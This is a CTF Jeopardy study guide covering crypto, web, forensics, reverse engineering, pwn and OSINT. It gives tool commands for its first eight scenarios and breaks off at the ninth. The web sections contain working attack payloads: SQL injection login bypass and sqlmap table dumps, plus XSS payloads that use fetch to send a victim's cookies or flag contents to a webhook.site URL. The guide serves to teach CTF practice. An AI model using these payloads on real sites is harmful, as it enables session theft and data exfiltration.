Identify
Solve
Flag
Repeat

CTF Jeopardy Playbook

Capture The Flag !

Crypto - Web - Forensics - RE - Pwn - OSINT - Misc

Identify -> Recognize -> Tool Up -> Solve -> Flag

29 Scenarios + Methodology + Wordlists + Real Resources

1. Cipher Identification & Classical Ciphers
2. Hash Identification & Cracking
3. XOR & Frequency Analysis
4. RSA & Modern Crypto Weaknesses
5. Encoding Chains & CyberChef Magic
6. Recon & Information Disclosure
7. SQL Injection in CTFs
8. XSS & Client-Side Challenges
9. SSRF, LFI/RFI & Command Injection
10. JWT, Cookies, IDOR & Auth Bypass
11. File Identification & Magic Bytes
12. Image Steganography
13. Audio Steganography
14. Memory Forensics
15. Network Forensics (PCAP Analysis)
16. Disk / Raw Image Analysis
17. Static Analysis Basics
18. Dynamic Analysis & Debugging
19. Patching Binaries & Anti-Debug Bypass
20. Checksec & Buffer Overflow Basics
21. Format String Vulnerabilities
22. ROP & ret2libc
23. Pwntools Workflow & Shellcode
24. Username & Social Media Recon
25. Image, Metadata & Geolocation OSINT
26. Google Dorking & Wayback Machine
27. Esoteric Encodings & Unusual Formats
28. Archive & Zip Cracking
29. Flag Hunting: grep, find & Regex Tricks

Written by **Sujal** . Jeopardy CTF Study Companion

How to Use This Playbook

The Jeopardy CTF methodology this playbook follows

1. **1. Recon the challenge**
   Read title, description, category, points and every attached file's name/extension before touching a single tool.
2. **2. Identify**
   Run file / strings / exiftool / view-source (whichever fits the category) to confirm what you're actually dealing with.
3. **3. Try the fast wins**
   CyberChef Magic, online decoders, grep for the flag format, default/blank passwords — cheap checks that solve many challenges instantly.
4. **4. Apply the category playbook**
   Use the matching section of this playbook (Crypto/Web/Forensics/RE/Pwn/OSINT/Misc) for a structured, deeper approach.
5. **5. Pivot or escalate**
   Found a partial clue/credential/file? Follow it — most CTF challenges are a short CHAIN of small steps, not one giant leap.
6. **6. Extract & submit the flag**
   Match the competition's exact flag format (case, braces) before submitting — a correct answer in the wrong format still fails.

6 Golden Rules Before You Open a Single Tool

Read the challenge description twice
Half of all 'impossible' challenges have the exact hint you need sitting in the title, description or attached file names. Don't skip straight to tools.

Identify before you attack
file, strings, exiftool, binwalk — spend the first 60 seconds identifying what you actually have before picking a technique.

Try the free/instant wins first
CyberChef Magic, online hash lookups, factordb.com, ROT13/Caesar brute-force — these cost seconds and solve a surprising fraction of challenges outright.

Google the exact error/string/filename
CTF authors reuse public tools, libraries and known CVEs constantly — an exact error message or unusual string often leads straight to a public writeup or tool.

Don't rabbit-hole — timebox it
If 20-30 minutes pass with zero progress, switch to another challenge and come back later with fresh eyes; other team members or a later hint may unblock it.

Keep notes as you go
Write down every command, key, offset and partial flag piece — CTFs often chain multiple challenges, and you'll need that context again.

Every scenario page contains

- **Analogy**: a real-life picture so the concept sticks
- **How to recognize it**: the exact signs that tell you which page to use
- **Key indicators** table: signal on the left, meaning on the right
- **Commands & tools explained**: real command on the left, exact result on the right
- **Resources & wordlists** where relevant
- **Pro tips** and a **Next step** — what to do once this gives you something

Practice only on your own lab, permitted platforms (picoCTF, OverTheWire, HackTheBox, TryHackMe) or live CTFs you are registered for. Replace example hosts/ports/files with your actual challenge values.

Which Category Am I Looking At?

Fast category identification from the challenge itself

Category	How you can tell
Cryptography	Text/numbers only, hash-like fixed-length strings, RSA public keys (n, e), 'decrypt this' framing
Web Exploitation	A URL/website is given, or a login form/API to interact with
Digital Forensics	A file is given: image, pcap, memory dump, disk image, audio — 'find what's hidden'
Reverse Engineering	An executable/binary given with no source, 'find the password the program checks'
Binary Exploitation (Pwn)	A binary + a remote host:port ('nc host port') — you must exploit memory corruption for a shell
OSINT	A username, photo, email or public profile/company is given — 'find out about this person/place'
Miscellaneous	Doesn't fit any category above, or is explicitly unusual/creative in its given format

File Given? Start Here.

The universal first move: `file <filename>`, then follow this table

Finding	Where to go
Run `file <name>` first — always	Tells you the REAL type regardless of extension
MZ / PE (.exe)	Reverse Engineering — Static Analysis page
.ELF	Reverse Engineering or Binary Exploitation depending on challenge framing
PNG/JPG/BMP/GIF	Forensics — Image Steganography page
WAV/MP3	Forensics — Audio Steganography page
PCAP/PCAPNG	Forensics — Network Forensics page
RAW/DD/IMG (large, filesystem-like)	Forensics — Disk/Raw Image Analysis page
MEM/VMEM/DMP or very large unidentified 'data'	Forensics — Memory Forensics page
ZIP/RAR/7z	Misc — Archive & Zip Cracking page (try opening without a password first!)
Plain text, hex, or fixed-length hash-like string	Cryptography pages — start with cipher/hash identification

Essential toolkit by category

Category	Core tools
General	file, binwalk, exiftool, strings, xxd, CyberChef (web)
Cryptography	CyberChef, dcode.fr, RsaCtfTool, hashid, John the Ripper, Hashcat
Web	Burp Suite / curl, Gobuster/ffuf, sqlmap, jwt_tool, browser DevTools (F12)
Forensics	binwalk, foremost, steghide + stegseek, zsteg, Wireshark/tshark, Volatility 3, Sleuthkit/Autopsy
Reverse Engineering	Ghidra, gdb + pwndbg/gef, ltrace/strace, radare2
Binary Exploitation	pwntools, checksec, ROPgadget, one_gadget, gdb + pwndbg/gef
OSINT	Sherlock, Holehe, exiftool, Google/Yandex reverse image search, web.archive.org

Scenario Index

#	Scenario	Category	One-line role
1	Cipher Identification & Classical Ciphers	Cryptography	Caesar, Vigenere, Substitution, Atbash, ROT-N
2	Hash Identification & Cracking	Cryptography	MD5, SHA family, bcrypt — identify then crack
3	XOR & Frequency Analysis	Cryptography	Single-byte XOR, repeating-key XOR, XOR with known plaintext
4	RSA & Modern Crypto Weaknesses	Cryptography	Small e, factorable N, Wiener's attack, common modulus
5	Encoding Chains & CyberChef Magic	Cryptography	Base64/32/85, Hex, URL-encode, Gzip — multi-layer decode
6	Recon & Information Disclosure	Web Exploitation	robots.txt, .git, source view, headers, comments
7	SQL Injection in CTFs	Web Exploitation	Login bypass, UNION-based extraction, blind/time-based
8	XSS & Client-Side Challenges	Web Exploitation	Reflected/Stored XSS, DOM tricks, CSP bypass, cookie stealing
9	SSRF, LFI/RFI & Command Injection	Web Exploitation	File read, internal-network pivoting, OS command execution
10	JWT, Cookies, IDOR & Auth Bypass	Web Exploitation	Token tampering, alg=none, sequential IDs, broken access control
11	File Identification & Magic Bytes	Digital Forensics	.raw, .bin, .exe — what am I actually looking at?
12	Image Steganography	Digital Forensics	steghide, zsteg, StegSolve, LSB, metadata
13	Audio Steganography	Digital Forensics	Spectrograms, Sonic Visualizer, Audacity, DTMF, Morse in audio
14	Memory Forensics	Digital Forensics	Volatility — analyzing a RAM dump
15	Network Forensics (PCAP Analysis)	Digital Forensics	Wireshark for CTF — extracting files & credentials from captures
16	Disk / Raw Image Analysis	Digital Forensics	.raw, .dd, .img — mounting, carving, Autopsy/Sleuthkit
17	Static Analysis Basics	Reverse Engineering	file, strings, objdump, readelf, Ghidra/IDA
18	Dynamic Analysis & Debugging	Reverse Engineering	gdb, pwndbg/gef, ltrace, strace — watching it run
19	Patching Binaries & Anti-Debug Bypass	Reverse Engineering	NOP-ing checks, flipping jumps, ptrace bypass
20	Checksec & Buffer Overflow Basics	Binary Exploitation	Stack canaries, NX, PIE — and the classic smash
21	Format String Vulnerabilities	Binary Exploitation	printf(user_input) — reading and writing arbitrary memory
22	ROP & ret2libc	Binary Exploitation	Chaining gadgets when the stack isn't executable (NX)
23	Pwntools Workflow & Shellcode	Binary Exploitation	process(), remote(), sendline(), shellcraft — putting it together
24	Username & Social Media Recon	OSINT	Sherlock, cross-platform pivoting, forum/profile digging
25	Image, Metadata & Geolocation OSINT	OSINT	EXIF data, GeoGuessr-style geolocation, reverse image search
26	Google Dorking & Wayback Machine	OSINT	Advanced search operators, cached/deleted content recovery
27	Esoteric Encodings & Unusual Formats	Miscellaneous	QR codes, Morse, Braille, Brainfuck, flags spelled in emoji
28	Archive & Zip Cracking	Miscellaneous	zip2john, fcrackzip, 7z password recovery, nested archives
29	Flag Hunting: grep, find & Regex Tricks	Miscellaneous	The universal 'just find the string' toolkit for any file/filesystem

1 Cipher Identification & Classical Ciphers

Cryptography | Caesar, Vigenere, Substitution, Atbash, ROT-N

Analogy

Classical ciphers are old-fashioned locks: each has a distinct 'shape' (letter frequency, repeating patterns, key length) that a trained eye recognizes instantly, the same way a locksmith recognizes a padlock brand from its keyhole shape.

What it is

The challenge gives you scrambled text that is still letter-based (no binary gibberish). Classical/substitution ciphers shift or swap letters using a fixed rule or repeating key. Almost every jeopardy CTF has at least one easy crypto challenge in this family.

How to recognize it

Setup: `sudo apt install python3 # most solving is scripted or via CyberChef (web, no install)`

- Text uses only A-Z/a-z and looks pronounceable-ish or has repeating patterns
- Challenge name hints: 'Caesar', 'shift', 'old school', 'Roman', 'substitution'
- Letter frequency is skewed like normal English (E, T, A, O most common) → likely mono-alphabetic
- Short repeating blocks of ciphertext → possible Vigenere with a short key
- All-caps with numbers 1-26 → simple A=1..Z=26 mapping

Key indicators

Signal / Indicator	What it means
`Frequency skew like English`	Caesar / ROT-N / simple substitution
`Repeating n-letter blocks`	Vigenere — block length hints key length (Kasiski test)
`Only 13-letter shift, self-inverse`	ROT13 specifically — try it first, it's instant

Signal / Indicator	What it means
`Reversed alphabet pairing (A<->Z)`	Atbash cipher
`Digits only 1-26, or A1Z26 in the title`	Number-to-letter substitution
`Odd symbols replacing letters 1:1 consistently`	Simple/monoalphabetic substitution — solve via frequency analysis

Commands & tools explained

Command	What it does / result
`echo 'text' | tr 'A-Za-z' 'N-ZA-Mn-za-m'`	ROT13 in one line using tr — instant self-inverse shift, try this on any weird text first.
`for i in $(seq 1 25); do echo "$i: $(echo 'PUNGRAG' \| tr 'A-Z' "$(echo {A..Z} | rev | tr -d ' ')")"; done`	Rough idea for brute-forcing all 25 Caesar shifts; in practice, use CyberChef's 'ROT13 Brute Force' or dcode.fr for speed.
`python3 -c "from Crypto.Util import number; print('use pycipher or dcode.fr for Vigenere')"`	Vigenere is best solved with the 'pycipher' library or the dcode.fr Vigenere solver once you guess/derive the key length.
`CyberChef recipe: 'ROT13 Brute Force' or 'Substitute'`	Web tool (gchq.github.io/CyberChef) — drag-and-drop recipes for every classical cipher, shows all outputs at once.
`quipqiup.com`	Automatic solver for monoalphabetic substitution ciphers — paste ciphertext, it brute-forces using English frequency + pattern matching.

Resources & wordlists

- dcode.fr — huge collection of online solvers for nearly every classical cipher, with auto-detect
- quipqiup.com — best free substitution-cipher auto-solver
- CyberChef (gchq.github.io/CyberChef) — the single most useful crypto/encoding Swiss-army knife for CTFs

Pro tips

- Always try ROT13 and Caesar brute-force FIRST — they take 10 seconds and solve a surprising number of 'crypto' challenges
- If letters + spaces + punctuation are preserved, it's classical; if it's all hex/base64-looking gibberish, jump to the Encoding Chains page instead
- Kasiski examination (finding repeat distances) reveals Vigenere key length — dcode.fr automates this for you

Next step

Plaintext recovered → search it directly for 'flag{' or the competition's flag format → if the output is STILL gibberish, it may be double-encoded (classical cipher wrapped in Base64) — check the Encoding Chains page.

2 Hash Identification & Cracking

Cryptography | MD5, SHA family, bcrypt — identify then crack

Analogy

A hash is a wax seal stamped on a letter: you cannot un-melt it back into the original letter, but if you guess the letter's content and stamp it the same way, a matching seal proves you guessed right. Cracking a hash means guessing millions of 'letters' until one produces a matching seal.

What it is

The challenge gives you a fixed-length string of hex (or base64) characters — this is a hash, not encrypted data. You cannot decrypt it; you can only guess inputs and hash them until one matches (dictionary/brute-force), or look it up in a precomputed rainbow table if it's unsalted and common.

How to recognize it

Setup: `sudo apt install hashid hash-identifier john hashcat`

- Fixed length, all hex: 32 chars=MD5, 40=SHA1, 64=SHA256, 128=SHA512
- Starts with $2a$/$2b$/$2y$ → bcrypt; 1 → MD5-crypt; 6 → SHA512-crypt (Unix shadow style)
- Challenge mentions 'hash', 'rainbow table', 'weak password', or gives you a hash + hint about the plaintext being short/common
- Multiple hashes of the same unknown format in a file → likely a password-list cracking challenge

Key indicators

Signal / Indicator	What it means
`32 hex chars`	MD5
`40 hex chars`	SHA1
`64 hex chars`	SHA256
`128 hex chars`	SHA512
`$2a$/$2b$/$2y$ prefix`	bcrypt — very slow to crack, needs a strong wordlist
`$1$ / $5$ / $6$ prefix`	Unix crypt (MD5/SHA256/SHA512-crypt) from /etc/shadow style dumps

Commands & tools explained

Command	What it does / result
`hashid '5f4dcc3b5aa765d61d8327deb882cf99'`	Auto-identifies likely hash type(s) for a given hash string — your first move on any unknown hash.
`echo -n 'password' | md5sum`	Quick manual check: hashes a guessed plaintext to see if it matches the target hash.
`john --format=raw-md5 --wordlist=rockyou.txt hash.txt`	Dictionary-cracks an MD5 hash (put it in hash.txt) using rockyou — classic first attempt.
`hashcat -m 0 -a 0 hash.txt rockyou.txt`	Same idea with Hashcat (mode 0 = MD5) — much faster if you have a GPU.
`hashcat -m 3200 -a 0 bcrypt.txt rockyou.txt`	Cracks bcrypt hashes (mode 3200) — expect this to be much slower per-guess than MD5/SHA1.
`Search the hash on crackstation.net or hashes.com`	Free online rainbow-table lookups — instantly cracks common/weak unsalted hashes without running anything locally.

Resources & wordlists

- /usr/share/wordlists/rockyou.txt — first choice for any dictionary attack
- crackstation.net / hashes.com — free online lookup for common hashes, try before local cracking
- SecLists Passwords/ for CTF-specific or leaked-database wordlists

Pro tips

- Always try a free online lookup (crackstation.net) before spending time cracking locally — CTF authors often use common/weak plaintexts
- hashid can be wrong on ambiguous lengths (e.g. 32 hex could be MD5 or NTLM) — try the most likely format first, then alternates
- If the plaintext is described as 'short' or 'numeric', switch to hashcat mask attacks (-a 3, e.g. ?d?d?d?d?d?d) instead of a wordlist

Next step

Cracked plaintext → this IS often the flag, or the key/password needed to unlock the next stage (a zip, a login form, another encoded blob).

3 XOR & Frequency Analysis

Cryptography | Single-byte XOR, repeating-key XOR, XOR with known plaintext

Analogy

XOR encryption is like laying a stencil over a page: if you know one word that must appear on the page (a 'crib', like 'flag{' or 'the'), you can line the stencil up at that point and read off exactly what the stencil (the key) looks like there — then reuse it to reveal the rest.

What it is

XOR is a very common lightweight 'encryption' in CTFs. Single-byte XOR uses one repeated byte as the key (brute-forceable in 256 tries). Repeating-key XOR (like a mini Vigenere on bytes) needs key-length detection then per-column frequency analysis, or a known-plaintext ('crib') attack if you can guess part of the output.

How to recognize it

Setup: `sudo apt install python3 # xortool via: pip install xortool`

- Binary/hex data that looks random but is the same length as an obvious plaintext (ciphertext-plaintext length match)
- Challenge title/hint mentions 'XOR', 'key', or gives you two ciphertexts encrypted with the SAME key (classic 'many-time pad' XOR mistake)
- CyberChef's 'Magic' wand or entropy check suggests XOR rather than a strong cipher

Key indicators

Signal / Indicator	What it means
`Single repeating byte suspected`	Brute-force all 256 byte keys, score each result by 'printable ASCII' likelihood
`Unknown key length`	Use xortool or Kasiski-style repeat analysis to guess key length first

Signal / Indicator	What it means
`Two ciphertexts, same key used twice`	XOR the two ciphertexts together — this cancels the key out and leaves plaintext1 XOR plaintext2, crackable via crib-dragging
`You know part of the plaintext (e.g. starts with 'flag{')`	Known-plaintext attack: XOR the known part with the matching ciphertext bytes to recover that part of the key

Commands & tools explained

Command	What it does / result
`xortool ciphertext.bin`	Automatically guesses the XOR key length and attempts to recover the key from a binary file.
`xortool-xor -f ciphertext.bin -s '\x41'`	Manually XORs a file against a specific single-byte key to test a guess.
`python3 -c "c=bytes.fromhex('..'); print(bytes(b^0x41 for b in c))"`	Manual single-byte XOR brute-force template — loop 0x00 to 0xFF and print/score each result for readable text.
`CyberChef recipe: 'XOR Brute Force'`	Instantly tries all 256 single-byte keys and highlights outputs containing readable text or the string 'flag'.
`CyberChef recipe: 'XOR' with key type 'UTF8', then try common short keys`	Manual key guessing when you suspect a short ASCII key (e.g. a name or word from the challenge).
`python3 -c "a=bytes.fromhex('c1'); b=bytes.fromhex('c2'); print(bytes(x^y for x,y in zip(a,b)))"`	XORs two same-length ciphertexts together to cancel out a reused key, prep step for crib-dragging.

Pro tips

- Always try CyberChef's 'XOR Brute Force' first for single-byte XOR — it auto-highlights likely flag-containing output
- For repeating-key XOR, guess the key length by trying Hamming distance between blocks (smallest normalized distance = likely key length)
- If two messages were XORed with the same key (a real cryptographic mistake, common in CTFs), XOR them together and crib-drag common words like 'the ', 'flag{'

Next step

Recovered plaintext → search for the flag format directly → if only PART of the key was recoverable via known-plaintext, extend it by guessing readable characters in the remaining ciphertext bytes.

4 RSA & Modern Crypto Weaknesses

Cryptography | Small e, factorable N, Wiener's attack, common modulus

Analogy

RSA is a padlock whose strength depends entirely on the size of a secret number (N) being impossible to factor. A CTF 'RSA challenge' is almost never 'break real RSA' — it's 'find the one place the challenge author cut corners': too small a key, a shared piece between two locks, or a suspiciously small public exponent.

What it is

You're given RSA public values (n, e, and a ciphertext c), sometimes with multiple key pairs or extra hints. The task is to recover the private key or plaintext by exploiting a specific mathematical weakness rather than doing 'real' cryptanalysis.

How to recognize it

Setup: `pip install rsactftool pycryptodome sympy # git clone RsaCtfTool for an all-in-one attack suite`

- n is small enough to factor in seconds/minutes (look it up on factordb.com first, always)
- e is very small (e=3) and the message wasn't padded → Håstad's broadcast/cube-root attack may apply
- Two different challenges share the same n (common modulus attack) or same message encrypted with different e's
- d (private exponent) hint suggests it's unusually small → Wiener's attack applies
- p and q are close together → Fermat factorization works quickly

Key indicators

Signal / Indicator	What it means
`n listed on factordb.com`	Just factor it — many CTF n values are deliberately small or already public
`e = 3, no padding, message likely small`	Cube-root attack: plaintext ≈ cube-root(c) if c < n
`Same n, different e, same message`	Common modulus attack — combine ciphertexts using extended Euclidean algorithm

Signal / Indicator	What it means
`d hint is small / RSA described as 'fast key generation'`	Wiener's attack via continued fractions on e/n
`p and q described as 'close' or key is oddly small`	Fermat factorization (iteratively test near sqrt(n))

Commands & tools explained

Command	What it does / result
`python3 RsaCtfTool.py --publickey key.pub --uncipherfile cipher.enc`	All-in-one automated attack tool — tries factordb, Wiener, common factors, small-e and dozens of known weaknesses automatically. Try this FIRST on any RSA challenge.
`Search n on http://factordb.com`	Instant factorization if the number (or a related one) has ever been factored before and stored in the public database — always check before computing anything yourself.
`python3 -c "import gmpy2; print(gmpy2.iroot(c, 3))"`	Attempts a direct cube-root of the ciphertext for a classic small-e (e=3), no-padding attack.
`sage: factor(n)`	SageMath's built-in factor() is far faster than plain Python for larger semiprimes — use it if RsaCtfTool/factordb fail.
`openssl rsa -pubin -in key.pem -text -noout`	Reads and prints an RSA public key's actual n and e values from a PEM file, needed as input to the attacks above.
`python3 -c "from Crypto.PublicKey import RSA; k=RSA.importKey(open('priv.pem').read()); print(k.n, k.e, k.d)"`	Extracts n, e and d from a recovered/given private key file for decrypting the ciphertext.

Resources & wordlists

- factordb.com — always check n here first, zero computation required
- RsaCtfTool (github.com/Ganapati/RsaCtfTool) — the single most valuable RSA CTF tool, automates ~20 known attacks
- CyberChef 'RSA Decrypt' operation once you have p, q, e, c

Pro tips

- RSA CTF challenges are puzzles about the CHALLENGE AUTHOR'S MISTAKE, not about breaking real RSA math — always ask 'what did they cut corners on?'
- Run RsaCtfTool before trying anything by hand — it covers most common weaknesses in one command
- If given multiple ciphertexts/keys in one challenge, suspect common-modulus or related-message attacks specifically

Next step

Recovered plaintext is usually the flag directly, or a further-encoded blob → if still not readable, decode as bytes → ASCII/UTF-8, or check the Encoding Chains page for extra encoding layers.

5 Encoding Chains & CyberChef Magic

Cryptography | Base64/32/85, Hex, URL-encode, Gzip — multi-layer decode

Analogy

Some CTF strings are like a Russian nesting doll wrapped in gift paper wrapped in a box: Base64 inside Hex inside Gzip inside Base64 again. You don't need to be clever — you just need to keep opening the next layer until the actual doll (the flag) appears.

What it is

A very common 'crypto' or 'misc' warm-up: the flag has been encoded (NOT encrypted) through one or more standard encoding schemes stacked on top of each other. No key or cracking needed — just correct identification and reversal, layer by layer.

How to recognize it

Setup: `No install needed — use gchq.github.io/CyberChef (offline-capable web app) or base64/xxd CLI tools already on Kali`

- String ends in = or == and uses A-Z/a-z/0-9/+/ → Base64
- String uses only A-Z2-7= → Base32
- String is entirely 0-9a-f pairs → Hex
- String has %XX sequences → URL encoding
- Starts with 1f8b (hex) or looks like binary garbage after decoding once → Gzip/zlib compressed, decode further
- Contains only A-Za-z0-9./ with a leading $ → possibly bcrypt/crypt, not an encoding — treat as a hash instead

Key indicators

Signal / Indicator	What it means
`Base64 signature`	=/== padding, alphabet A-Za-z0-9+/
`Base32 signature`	alphabet A-Z2-7, padding with =
`Base85/Ascii85`	Starts with <~ and ends with ~>, wider character set

Signal / Indicator	What it means
`Hex signature`	Only 0-9a-f, even number of characters
`Gzip magic bytes`	1f 8b at the very start of the binary data

Commands & tools explained

Command	What it does / result
`echo 'ZmxhZ3t0ZXN0fQ==' | base64 -d`	Decodes a single layer of Base64 straight from the terminal.
`echo 'ORSXG5A=' | base32 -d`	Decodes Base32-encoded text.
`echo '666c6167' | xxd -r -p`	Converts a hex string back into raw ASCII text.
`python3 -c "import urllib.parse; print(urllib.parse.unquote('flag%7Btest%7D'))"`	Decodes URL-encoded (%XX) sequences back into normal characters.
`file decoded_output; xxd decoded_output | head`	After decoding one layer, always check if the RESULT is itself another encoded format or a file (magic bytes) before assuming you're done.
`CyberChef 'Magic' wand (auto-detect)`	Paste the raw string in and click the magic wand icon — CyberChef tries to auto-detect and chain-decode multiple layers automatically, often solving the whole challenge in one click.

Resources & wordlists

- CyberChef (gchq.github.io/CyberChef) — build a 'recipe' of Base64 Decode → Gunzip → From Hex etc. and save it for reuse
- dcode.fr/cipher-identifier — auto-detects likely encoding/cipher type from a sample

Pro tips

- Whenever output looks like more gibberish after decoding, run `file` on it (if saved to disk) or eyeball it for a new pattern — decode chains are common in easy/medium challenges
- CyberChef's Magic wand should be your very first move on ANY unidentified string — it solves a shocking number of challenges instantly
- Keep a mental checklist: Base64 → Hex → Base32 → URL-decode → Gzip/zlib → back to Base64 — cycle through until plaintext with 'flag{' appears

Next step

Once you see readable text or 'flag{...}', you're done → if it decodes into a binary file signature instead (PK, PNG, etc.), save the bytes to disk and move to the Forensics — File Identification page.

6 Recon & Information Disclosure

Web Exploitation | robots.txt, .git, source view, headers, comments

Analogy

Before picking any lock, a good burglar walks around the whole building first: reads the mailbox labels, checks if a window was left open, and looks for a spare key under the mat. Web recon is that walk-around — most web CTF flags are found because the author left SOMETHING exposed, not because you broke real crypto.

What it is

The very first step on any web challenge: map out what's actually there before attacking anything. A large fraction of web CTF flags are sitting in plain sight in comments, exposed files, or a forgotten endpoint.

How to recognize it

Setup: `sudo apt install curl gobuster nikto whatweb`

- Challenge is 'just' a website with no obvious injection point yet
- You haven't checked the page source, robots.txt or common hidden paths
- Challenge hints mention 'look closer', 'nothing is as it seems', or give no other clue at all

Key indicators

Signal / Indicator	What it means
`HTML comments (Ctrl+U / View Source)`	Developers leave debug notes, old creds, hidden links — always read the FULL page source
`robots.txt / sitemap.xml`	Lists paths the author didn't want indexed — often exactly where the flag or admin panel is
`Response headers (Server, X-Powered-By)`	Reveals tech stack → search for known CVEs of that exact version

Signal / Indicator	What it means
`.git exposed`	Full source code + commit history recoverable — check this on every challenge
`JS files (view-source or /js/*.js)`	Client-side JS often contains API endpoints, hidden routes, or even hardcoded secrets

Commands & tools explained

Command	What it does / result
`curl -s http://target/robots.txt`	Fetches robots.txt directly — check every disallowed path listed by hand.
`curl -s http://target | grep -iE '<!--|flag|password|api'`	Greps the raw HTML for comments and suspicious keywords in one shot.
`curl -sI http://target`	Fetches only response headers — reveals server software/version and any custom headers.
`gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak`	Standard hidden-path brute force — CTF web boxes love /backup, /admin, /old, /dev.
`curl -s http://target/.git/HEAD`	Confirms an exposed git repo; if it returns 'ref: refs/heads/...' pull the whole repo next (git-dumper / wget -r).
`whatweb http://target`	Fingerprints CMS/framework/library versions running on the site in one command.
`View-source, then Ctrl+F for 'flag' or the CTF's flag prefix`	Simple but wins more challenges than people expect — always search page source text directly first.

Pro tips

- Do this on EVERY web challenge before writing a single payload — a shocking number of 'hard' web challenges are just an exposed .git or a forgotten /backup.zip
- Check the JS console and Network tab (F12) too — API calls made by the page reveal endpoints not visible in the raw HTML
- If nothing is found manually in 2 minutes, run Gobuster/ffuf in the background while you keep reading source code by hand

Next step

Comment/hint found → follow it exactly → exposed .git → dump the repo and grep history for the flag → nothing obvious found → move to the specific vulnerability-class pages (SQLi, XSS, LFI, IDOR) based on what the app actually does (login form → SQLi/auth; file viewer → LFI; search box → XSS).

7 SQL Injection in CTFs

Web Exploitation | Login bypass, UNION-based extraction, blind/time-based

Analogy

SQL injection is convincing the shop clerk that your handwritten note IS an official order form, by slipping in extra instructions the clerk blindly copies into the system: 'give me item 5' becomes 'give me item 5; also, show me every customer's credit card'.

What it is

Any input (login form, search box, URL parameter, cookie) that gets inserted into a SQL query unsafely. In CTFs this ranges from a one-character login bypass to a full UNION-based data dump of the flag table.

How to recognize it

Setup: `sudo apt install sqlmap`

- Login form that might just be checking username/password directly in SQL
- URL parameter like ?id=1 that changes what's displayed — classic UNION injection target
- An apostrophe ' in any input causes a database error message to appear
- Challenge name/category literally says 'SQLi' or 'injection'

Key indicators

Signal / Indicator	What it means
`' or 1=1-- - as username/password`	Classic login bypass — if it logs you in, the query has no protection at all
`Single quote causes a 500 error / SQL syntax message`	Confirms the input reaches the query unescaped — injectable
`?id=1 vs ?id=1' gives different page behavior`	Confirms parameter is injectable, ready for UNION-based extraction

Signal / Indicator	What it means
`No visible error, but page behaves differently for true/false conditions`	Blind (boolean-based) injection — needs conditional payloads
`No visible difference at all, but delay appears with SLEEP()`	Blind TIME-based injection — measure response time instead of content

Commands & tools explained

Command	What it does / result
`' or 1=1-- -`	Paste into a login field — comments out the rest of the query, forcing 'true' and logging in as the first user.
`' UNION SELECT null,null,null-- -`	Finds the correct number of columns for a UNION injection by adding NULLs until no error appears.
`' UNION SELECT username,password,null FROM users-- -`	Once column count is known, extracts real data by selecting from the users table directly into the visible output.
`' AND 1=1-- -  vs  ' AND 1=2-- -`	Confirms boolean-based blind injection: the page should look different for true vs false conditions.
`' OR SLEEP(5)-- -`	Confirms time-based blind injection: if the response takes ~5 seconds longer, the payload executed.
`sqlmap -u "http://target/item.php?id=1" --dbs --batch`	Automates the entire process once manual testing confirms injection — lists all databases hands-free.
`sqlmap -u "http://target/item.php?id=1" -D ctf -T flag --dump --batch`	Dumps a specific 'flag' table once you know the database/table names, either guessed or from --tables output.

Resources & wordlists

- SecLists Fuzzing/SQLi/ for payload lists if manual guesses fail
- PayloadsAllTheThings SQL Injection folder on GitHub — huge curated payload reference for every DB engine

Pro tips

- Always try the manual one-liners first (' or 1=1-- -) — CTF web challenges are often intentionally simple to teach the concept, sqlmap is a fallback not the first move
- If sqlmap can't find injection but you're SURE it's there, save the raw request from Burp to a file and use sqlmap -r request.txt with --level 5 --risk 3
- Comment syntax differs: MySQL uses -- (with a trailing space) or #, MSSQL uses --, Oracle needs different tricks (no LIMIT, use ROWNUM)

Next step

Data dumped → search directly for the flag column/value → if credentials were extracted instead, log in as that user and look for the flag in their profile/admin area.

8 XSS & Client-Side Challenges

Web Exploitation | Reflected/Stored XSS, DOM tricks, CSP bypass, cookie stealing

Analogy

XSS is sneaking a note into someone else's mailbox that, when THEY open it, secretly does something on their behalf — like photocopying their house key (session cookie) and mailing it to you, all without them noticing anything unusual happened.

What it is

Any point where your input gets reflected back into the page as HTML/JavaScript without proper escaping. In CTFs, XSS challenges usually require you to steal an admin's cookie/flag by getting a bot (simulating the admin) to visit your payload.

How to recognize it

Setup: `No special install — browser dev tools (F12) + a public webhook (webhook.site / requestbin) for exfiltration`

- Search box, comment field, or URL parameter reflects your input back verbatim in the page
- Challenge provides a 'report a URL to admin' or bot-visits-your-link feature — a strong signal it's XSS, since you need someone ELSE'S session
- alert(1) or your input appears unescaped when you view page source
- CSP (Content-Security-Policy) header is present and unusual — the challenge may be about bypassing it specifically

Key indicators

Signal / Indicator	What it means
`<script>alert(1)</script>` executes	Basic reflected XSS confirmed, no filtering
Tags stripped but attributes survive	Try event handlers: <img src=x onerror=alert(1)>
Both stripped but you can break out of an attribute	Payload like " onmouseover="alert(1)

Signal / Indicator	What it means
CSP header blocks inline scripts	Look for CSP bypass gadgets (whitelisted JSONP endpoints, allowed script-src domains) instead
A 'report to admin' bot feature exists	This IS the exploitation vector — your payload needs to run in the ADMIN's browser, not yours

Commands & tools explained

Command	What it does / result
`<script>alert(document.cookie)</script>`	Basic proof-of-concept — confirms script execution and shows what cookie data is accessible.
`<img src=x onerror="fetch('https://webhook.site/your-id?c='+document.cookie)">`	Real exfiltration payload: sends the victim's (bot/admin's) cookie to your own webhook when the image fails to load.
`<svg onload=alert(1)>`	Common filter-bypass payload when <script> tags specifically are blocked.
`javascript:alert(document.domain)`	Useful in href/src contexts where a javascript: URI is accepted.
`fetch('/flag').then(r=>r.text()).then(t=>fetch('https://webhook.site/your-id?f='+t))`	Instead of stealing a cookie, directly fetches a flag endpoint the admin bot has access to and exfiltrates the content.
`Set up a listener at webhook.site or requestbin.com`	Free, instant HTTP request logger — paste the generated URL into your payload to receive stolen data with zero setup.

Resources & wordlists

- PayloadsAllTheThings XSS Injection folder — huge list of filter-bypass payloads for every scenario
- XSS cheat sheet at portswigger.net/web-security/cross-site-scripting/cheat-sheet — filterable by allowed characters

Pro tips

- If there's a bot/admin feature, the flag is almost certainly reachable only from the admin's session — your goal is to exfiltrate what THEY see, not what you see
- Always set up your webhook/listener BEFORE submitting the payload to the bot, so you don't miss the callback
- Check the CSP header early (curl -I) — it tells you exactly what's blocked and what's still allowed, guiding which payload style to use

Next step

Cookie/data received at your webhook → use it to authenticate as admin (replace your cookie) or read the exfiltrated flag content directly from the webhook logs.

9 SSRF, LFI/RFI & Command Injection

Web Exploitation | File read, internal-network pivoting, OS command execution

Analogy

